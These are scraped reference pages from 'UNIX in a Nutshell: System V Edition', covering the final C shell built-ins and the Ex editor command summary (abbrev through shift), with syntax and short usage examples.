Reference: unsetenv

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unset Chapter 5
The C Shell 		Next: Reference: wait

unsetenv

unsetenv variable

Remove an environment variable. Filename matching is not valid. See setenv.

Previous: Reference: unset | UNIX in a Nutshell: System V Edition | Next: Reference: wait
Reference: unset | Book Index | Reference: wait
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: wait

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unsetenv Chapter 5
The C Shell 		Next: Reference: while

wait

wait

Pause in execution until all background jobs complete, or until an interrupt signal is received.

Previous: Reference: unsetenv | UNIX in a Nutshell: System V Edition | Next: Reference: while
Reference: unsetenv | Book Index | Reference: while
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: while

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: wait Chapter 5
The C Shell 		Next: Reference: @

while

while (expression)
     commands
end

As long as expression is true (evaluates to non-zero), evaluate commands between while and end. break and continue can be used to terminate or continue the loop. See also example under shift.

Example

set user = (alice bob carol ted)
while ($argv[1] != $user[1])
   #Cycle through each user, checking for a match
   shift user
   #If we cycled through with no match...
   if ($#user == 0) then
     echo "$argv[1] is not on the list of users"
     exit 1
   endif
end

Previous: Reference: wait | UNIX in a Nutshell: System V Edition | Next: Reference: @
Reference: wait | Book Index | Reference: @
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: @

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: while Chapter 5
The C Shell 		Next: 5.6 Built-in C Shell Commands

@

@ variable = expression
@ variable[n]  = expression
@

Assign the value of the arithmetic expression to variable, or to the nth element of variable if the index n is specified. With no variable or expression specified, print the values of all shell variables (same as set). Expression operators as well as examples are listed under "Expressions," earlier in this section. Two special forms are also valid:

@ variable++ Increment variable by one.

@ variable- - Decrement variable by one.

Previous: Reference: while | UNIX in a Nutshell: System V Edition | Next: 5.6 Built-in C Shell Commands
Reference: while | Book Index | 5.6 Built-in C Shell Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: abbrev

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 9.2 Alphabetical Summary of Ex Commands Chapter 9
The Ex Editor 		Next: Reference: append

abbrev

ab [string text]

Define string when typed to be translated into text. If string and text are not specified, list all current abbreviations.

Examples

Note: ^M appears when you type ^V followed by RETURN.

:ab ora O'Reilly & Associates, Inc.
:ab id Name:^MRank:^MPhone:

Previous: 9.2 Alphabetical Summary of Ex Commands | UNIX in a Nutshell: System V Edition | Next: Reference: append
9.2 Alphabetical Summary of Ex Commands | Book Index | Reference: append
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: append

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: abbrev Chapter 9
The Ex Editor 		Next: Reference: args

append

[address] a[!]
text
.

Append text at specified address, or at present address if none is specified. Add a ! to switch the autoindent setting that will be used during input. E.g., if autoindent was enabled, ! disables it.

Previous: Reference: abbrev | UNIX in a Nutshell: System V Edition | Next: Reference: args
Reference: abbrev | Book Index | Reference: args
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: args

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: append Chapter 9
The Ex Editor 		Next: Reference: change

args

ar

Print filename arguments (the list of files to edit). The current argument is shown in brackets ([]).

Previous: Reference: append | UNIX in a Nutshell: System V Edition | Next: Reference: change
Reference: append | Book Index | Reference: change
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: change

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: args Chapter 9
The Ex Editor 		Next: Reference: copy

change

[address] c[!]
text
.

Replace the specified lines with text. Add a ! to switch the autoindent setting during input of text.

Previous: Reference: args | UNIX in a Nutshell: System V Edition | Next: Reference: copy
Reference: args | Book Index | Reference: copy
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: copy

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: change Chapter 9
The Ex Editor 		Next: Reference: delete

copy

[address] co destination

Copy the lines included in address to the specified destination address. The command t is a synonym for copy.

Example

:1,10 co 50

Previous: Reference: change | UNIX in a Nutshell: System V Edition | Next: Reference: delete
Reference: change | Book Index | Reference: delete
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: delete

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: copy Chapter 9
The Ex Editor 		Next: Reference: edit

delete

[address] d [buffer]

Delete the lines included in address. If buffer is specified, save or append the text to the named buffer.

Examples

:/Part I/,/Part II/-1d	Delete to line above "Part II"
:/main/+d	Delete line below "main"
:.,$/d	Delete from this line to last line

Previous: Reference: copy | UNIX in a Nutshell: System V Edition | Next: Reference: edit
Reference: copy | Book Index | Reference: edit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: edit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: delete Chapter 9
The Ex Editor 		Next: Reference: file

edit

e[!] [+n] [file]

Begin editing file. Add a ! to discard any changes to the current file. If no file is given, edit another copy of the current file. With the +n argument, begin editing on line n.

Examples

:e file
:e#
:e!

Previous: Reference: delete | UNIX in a Nutshell: System V Edition | Next: Reference: file
Reference: delete | Book Index | Reference: file
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: file

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: edit Chapter 9
The Ex Editor 		Next: Reference: global

file

f [filename]

Change the name of the current file to filename, which is considered "not edited." If no filename is specified, print the current status of the file.

Example

:f %.new

Previous: Reference: edit | UNIX in a Nutshell: System V Edition | Next: Reference: global
Reference: edit | Book Index | Reference: global
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: global

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: file Chapter 9
The Ex Editor 		Next: Reference: insert

global

[address] g[!]/pattern/[commands]

Execute commands on all lines that contain pattern or, if address is specified, on all lines within that range. If commands are not specified, print all such lines. If ! is used, execute commands on all lines that don't contain pattern. See v.

Examples

:g/Unix/p
:g/Name:/s/tom/Tom/

Previous: Reference: file | UNIX in a Nutshell: System V Edition | Next: Reference: insert
Reference: file | Book Index | Reference: insert
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: insert

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: global Chapter 9
The Ex Editor 		Next: Reference: join

insert

[address] i[!]
text
.

Insert text at line before the specified address, or at present address if none is specified. Add a ! to switch the autoindent setting during input of text.

Previous: Reference: global | UNIX in a Nutshell: System V Edition | Next: Reference: join
Reference: global | Book Index | Reference: join
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: join

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: insert Chapter 9
The Ex Editor 		Next: Reference: k

join

[address] j[!] [count]

Place the text in the specified range on one line, with white space adjusted to provide two blank characters after a period (.), no blank characters after a ), and one blank character otherwise. Add a ! to prevent white space adjustment.

Example

:1,5j!	Join first five lines, preserving white space

Previous: Reference: insert | UNIX in a Nutshell: System V Edition | Next: Reference: k
Reference: insert | Book Index | Reference: k
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: k

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: join Chapter 9
The Ex Editor 		Next: Reference: list

k

[address] k char

Mark the given address with char. Return later to the line with 'x.

Previous: Reference: join | UNIX in a Nutshell: System V Edition | Next: Reference: list
Reference: join | Book Index | Reference: list
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: list

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: k Chapter 9
The Ex Editor 		Next: Reference: map

list

[address] l [count]

Print the specified lines so that tabs display as ^I and the ends of lines display as $. l is a temporary version of :set list.

Previous: Reference: k | UNIX in a Nutshell: System V Edition | Next: Reference: map
Reference: k | Book Index | Reference: map
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: map

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: list Chapter 9
The Ex Editor 		Next: Reference: mark

map

map[!] [char commands]

Define a keyboard macro named char as the specified sequence of commands. char is usually a single character, or the sequence #n, representing a function key on the keyboard. Use a ! to create a macro for input mode. With no arguments, list the currently defined macros.

Examples

:map K dwwP	Transpose two words
:map q :w^M:n^M	Write current file; go to next
:map! + ^[bi(^[ea)	Enclose previous word in parentheses

Previous: Reference: list | UNIX in a Nutshell: System V Edition | Next: Reference: mark
Reference: list | Book Index | Reference: mark
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: mark

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: map Chapter 9
The Ex Editor 		Next: Reference: move

mark

[address] ma char

Mark the specified line with char, a single lowercase letter. Return later to the line with 'x. Same as k.

Previous: Reference: map | UNIX in a Nutshell: System V Edition | Next: Reference: move
Reference: map | Book Index | Reference: move
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: move

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: mark Chapter 9
The Ex Editor 		Next: Reference: next

move

[address] m destination

Move the lines specified by address to the destination address.

Example

:.,/Note/m /END/	Move text block after line containing "END"

Previous: Reference: mark | UNIX in a Nutshell: System V Edition | Next: Reference: next
Reference: mark | Book Index | Reference: next
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: next

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: move Chapter 9
The Ex Editor 		Next: Reference: number

next

n[!] [[+command] filelist]

Edit the next file from the command-line argument list. Use args to list these files. If filelist is provided, replace the current argument list with filelist and begin editing on the first file; if command is given (containing no spaces), execute command after editing the first such file.

Example

:n chap*	Start editing all "chapter" files

Previous: Reference: move | UNIX in a Nutshell: System V Edition | Next: Reference: number
Reference: move | Book Index | Reference: number
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: number

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: next Chapter 9
The Ex Editor 		Next: Reference: open

number

[address] nu [count]

Print each line specified by address, preceded by its buffer line number. Use # as an alternate abbreviation for number. count specifies the number of lines to show, starting with address.

Previous: Reference: next | UNIX in a Nutshell: System V Edition | Next: Reference: open
Reference: next | Book Index | Reference: open
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: open

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: number Chapter 9
The Ex Editor 		Next: Reference: preserve

open

[address] o [/pattern/]

Enter vi's open mode at the lines specified by address, or at the lines matching pattern. Enter and exit open mode with Q. Open mode lets you use the regular vi commands, but only one line at a time. May be useful on slow dialup lines.

Previous: Reference: number | UNIX in a Nutshell: System V Edition | Next: Reference: preserve
Reference: number | Book Index | Reference: preserve
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: preserve

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: open Chapter 9
The Ex Editor 		Next: Reference: print

preserve

pre

Save the current editor buffer as though the system had crashed.

Previous: Reference: open | UNIX in a Nutshell: System V Edition | Next: Reference: print
Reference: open | Book Index | Reference: print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: print

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: preserve Chapter 9
The Ex Editor 		Next: Reference: put

print

[address] p [count]

Print the lines specified by address. count specifies the number of lines to print, starting with address. P is another abbreviation.

Example

:100;+5p	Show line 100 and the next five lines

Previous: Reference: preserve | UNIX in a Nutshell: System V Edition | Next: Reference: put
Reference: preserve | Book Index | Reference: put
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: put

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: print Chapter 9
The Ex Editor 		Next: Reference: quit

put

[address] pu [char]

Restore the lines that were previously deleted or yanked from named buffer char, and put them after the line specified by address. If char is not specified, restore the last deleted or yanked text.

Previous: Reference: print | UNIX in a Nutshell: System V Edition | Next: Reference: quit
Reference: print | Book Index | Reference: quit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: quit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: put Chapter 9
The Ex Editor 		Next: Reference: read

quit

q[!]

Terminate current editing session. Use ! to discard changes made since the last save. If the editing session includes additional files in the argument list that were never accessed, quit by typing q! or by typing q twice.

Previous: Reference: put | UNIX in a Nutshell: System V Edition | Next: Reference: read
Reference: put | Book Index | Reference: read
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: read

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: quit Chapter 9
The Ex Editor 		Next: Reference: read

read

[address] r file

Copy in the text from file on the line below the specified address. If file is not specified, the current filename is used.

Example

:0r $HOME/data	Read file in at top of current file

Previous: Reference: quit | UNIX in a Nutshell: System V Edition | Next: Reference: read
Reference: quit | Book Index | Reference: read
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: recover

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: read Chapter 9
The Ex Editor 		Next: Reference: rewind

recover

rec [file]

Recover file from system save area.

Previous: Reference: read | UNIX in a Nutshell: System V Edition | Next: Reference: rewind
Reference: read | Book Index | Reference: rewind
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rewind

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: recover Chapter 9
The Ex Editor 		Next: Reference: set

rewind

rew[!]

Rewind argument list and begin editing the first file in the list. The ! flag rewinds, discarding any changes to the current file that haven't been saved.

Previous: Reference: recover | UNIX in a Nutshell: System V Edition | Next: Reference: set
Reference: recover | Book Index | Reference: set
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: set

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rewind Chapter 9
The Ex Editor 		Next: Reference: shell

set

se parameter1 parameter2 ...

Set a value to an option with each parameter, or if no parameter is supplied, print all options that have been changed from their defaults. For Boolean-valued options, each parameter can be phrased as option or no option; other options can be assigned with the syntax option=value. Specify all to list current settings.

Examples

:set nows wm=10
:set all

Previous: Reference: rewind | UNIX in a Nutshell: System V Edition | Next: Reference: shell
Reference: rewind | Book Index | Reference: shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: set Chapter 9
The Ex Editor 		Next: Reference: source

shell

sh

Create a new shell. Resume editing when the shell is terminated.

Previous: Reference: set | UNIX in a Nutshell: System V Edition | Next: Reference: source
Reference: set | Book Index | Reference: source
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: source

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: shell Chapter 9
The Ex Editor 		Next: Reference: substitute

source

so file

Read and execute ex commands from file.

Examples

:so $HOME/.exrc

Previous: Reference: shell | UNIX in a Nutshell: System V Edition | Next: Reference: substitute
Reference: shell | Book Index | Reference: substitute
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: substitute

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: source Chapter 9
The Ex Editor 		Next: Reference: t

substitute

[address] s [/pattern/replacement/] [options] [count]

Replace each instance of pattern on the specified lines with replacement. If pattern and replacement are omitted, repeat last substitution. count specifies the number of lines on which to substitute, starting with address. See additional examples in Section 6.

Options

c

Prompt for confirmation before each change.

g

Substitute all instances of pattern on each line.

p

Print the last line on which a substitution was made.

Examples

:1,10s/yes/no/g	Substitute on first 10 lines
:%s/[Hh]ello/Hi/gc	Confirm global substitutions
:s/Fortran/\U&/ 3	Uppercase "Fortran" on next three lines

Previous: Reference: source | UNIX in a Nutshell: System V Edition | Next: Reference: t
Reference: source | Book Index | Reference: t
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: t

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: substitute Chapter 9
The Ex Editor 		Next: Reference: tag

t

[address] t destination

Copy the lines included in address to the specified destination address. t is an alias for copy.

Example

:%t$	Copy the file and add it to the end

Previous: Reference: substitute | UNIX in a Nutshell: System V Edition | Next: Reference: tag
Reference: substitute | Book Index | Reference: tag
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: tag

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: t Chapter 9
The Ex Editor 		Next: Reference: unabbreviate

tag

[address] ta tag

Switch the editing session to the file containing tag.

Example

Run ctags, then switch to the file containing myfunction:

:!ctags *.c
:tag myfunction

Previous: Reference: t | UNIX in a Nutshell: System V Edition | Next: Reference: unabbreviate
Reference: t | Book Index | Reference: unabbreviate
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unabbreviate

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: tag Chapter 9
The Ex Editor 		Next: Reference: undo

unabbreviate

una word

Remove word from the list of abbreviations.

Previous: Reference: tag | UNIX in a Nutshell: System V Edition | Next: Reference: undo
Reference: tag | Book Index | Reference: undo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: undo

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unabbreviate Chapter 9
The Ex Editor 		Next: Reference: unmap

undo

u

Reverse the changes made by the last editing command.

Previous: Reference: unabbreviate | UNIX in a Nutshell: System V Edition | Next: Reference: unmap
Reference: unabbreviate | Book Index | Reference: unmap
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unmap

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: undo Chapter 9
The Ex Editor 		Next: Reference: v

unmap

unm[!] char

Remove char from the list of keyboard macros. Use ! to remove a macro for input mode.

Previous: Reference: undo | UNIX in a Nutshell: System V Edition | Next: Reference: v
Reference: undo | Book Index | Reference: v
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: v

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unmap Chapter 9
The Ex Editor 		Next: Reference: version

v

[address] v/pattern/[commands]

Execute commands on all lines not containing pattern. If commands are not specified, print all such lines. v is equivalent to g!.

Example

:v/#include/d	Delete all lines except "#include" lines

Previous: Reference: unmap | UNIX in a Nutshell: System V Edition | Next: Reference: version
Reference: unmap | Book Index | Reference: version
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: version

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: v Chapter 9
The Ex Editor 		Next: Reference: visual

version

ve

Print the editor's current version number and date of last change.

Previous: Reference: v | UNIX in a Nutshell: System V Edition | Next: Reference: visual
Reference: v | Book Index | Reference: visual
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: visual

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: version Chapter 9
The Ex Editor 		Next: Reference: visual

visual

[address] vi [type] [count]

Enter visual mode (vi) at the line specified by address. Exit with Q. type can be one of -, ^, or . (See the z command). count specifies an initial window size.

Previous: Reference: version | UNIX in a Nutshell: System V Edition | Next: Reference: visual
Reference: version | Book Index | Reference: visual
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: write

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: visual Chapter 9
The Ex Editor 		Next: Reference: write

write

[address] w[!] [[>>] file]

Write lines specified by address to file, or write full contents of buffer if address is not specified. If file is also omitted, save the contents of the buffer to the current filename. If >> file is used, write contents to the end of an existing file. The ! flag forces the editor to write over any current contents of file.

Previous: Reference: visual | UNIX in a Nutshell: System V Edition | Next: Reference: write
Reference: visual | Book Index | Reference: write
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: wq

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: write Chapter 9
The Ex Editor 		Next: Reference: xit

wq

wq[!]

Write and quit the file in one movement. The ! flag forces the editor to write over any current contents of file.

Previous: Reference: write | UNIX in a Nutshell: System V Edition | Next: Reference: xit
Reference: write | Book Index | Reference: xit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: xit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: wq Chapter 9
The Ex Editor 		Next: Reference: yank

xit

x

Write the file if it was changed since the last write; then quit.

Previous: Reference: wq | UNIX in a Nutshell: System V Edition | Next: Reference: yank
Reference: wq | Book Index | Reference: yank
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: yank

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: xit Chapter 9
The Ex Editor 		Next: Reference: z

yank

[address] ya [char] [count]

Place lines specified by address in named buffer char. If no char is given, place lines in general buffer. count specifies the number of lines to yank, starting with address.

Example

:101,200 ya a

Previous: Reference: xit | UNIX in a Nutshell: System V Edition | Next: Reference: z
Reference: xit | Book Index | Reference: z
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: z

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: yank Chapter 9
The Ex Editor 		Next: Reference: !

z

[address] z [type] [count]

Print a window of text, with the line specified by address at the top. count specifies the number of lines to be displayed.

Type

+

Place specified line at top of window (the default).

-

Place specified line at bottom of window.

.

Place specified line in center of window.

^

Print the previous window.

=

Place specified line in center of window, and leave this line as the current line.

Previous: Reference: yank | UNIX in a Nutshell: System V Edition | Next: Reference: !
Reference: yank | Book Index | Reference: !
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: !

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: z Chapter 9
The Ex Editor 		Next: Reference: =

!

[address] !command

Execute UNIX command in a shell. If address is specified, apply the lines contained in address as standard input to command, and replace the lines with the output.

Examples

:!ls	List files in the current directory
:11,20!sort -f	Sort lines 11-20 of current file

Previous: Reference: z | UNIX in a Nutshell: System V Edition | Next: Reference: =
Reference: z | Book Index | Reference: =
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: =

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ! Chapter 9
The Ex Editor 		Next: Reference: < >

=

[address] =

Print the line number of the next line matching address. If no address is given, print the number of the last line.

Previous: Reference: ! | UNIX in a Nutshell: System V Edition | Next: Reference: < >
Reference: ! | Book Index | Reference: < >
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: < >

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: = Chapter 9
The Ex Editor 		Next: Reference: address

< >

[address] < [count]
     or
[address] > [count]

Shift lines specified by address either left (<) or right (>). Only blanks and tabs are shifted in a left shift. count specifies the number of lines to shift, starting with address.

Previous: Reference: = | UNIX in a Nutshell: System V Edition | Next: Reference: address
Reference: = | Book Index | Reference: address
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


